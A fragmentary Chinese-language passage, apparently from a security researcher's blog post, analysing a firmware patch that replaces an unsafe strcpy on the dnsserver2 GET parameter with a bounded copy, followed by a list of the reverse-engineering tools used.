針對這些位置的深入分析結(jié)果顯示,這些調(diào)用不對用戶輸入產(chǎn)生影響,例如:
對于分析已知漏洞存在區(qū)域,例如dnsserver2 GET參數(shù):
簡單起見,令$a0 = dest,$a1 = src,$a2 = size。 接下來我們可以看到:
我們可以看到,以上操作有效防止了緩沖區(qū)溢出,因?yàn)橹荒軐⒆畲髷?shù)量字節(jié)復(fù)制到緩沖區(qū)。 var_24F是一個基于堆棧的緩沖區(qū),大小為0x2C。
事實(shí)上,我們現(xiàn)在可以看到,提供給廠商的漏洞模式已被安全模式取代。 因此,修復(fù)程序通過移除用戶輸入中的strcpy調(diào)用來合理保護(hù)緩沖區(qū)溢出。
Binwalk
IDA
Qemu
mipsrop.py插件
適用于TTL UART 6PIN CP2102模塊串行轉(zhuǎn)換器的USB 2.0
Tim Carrington –@__invictus_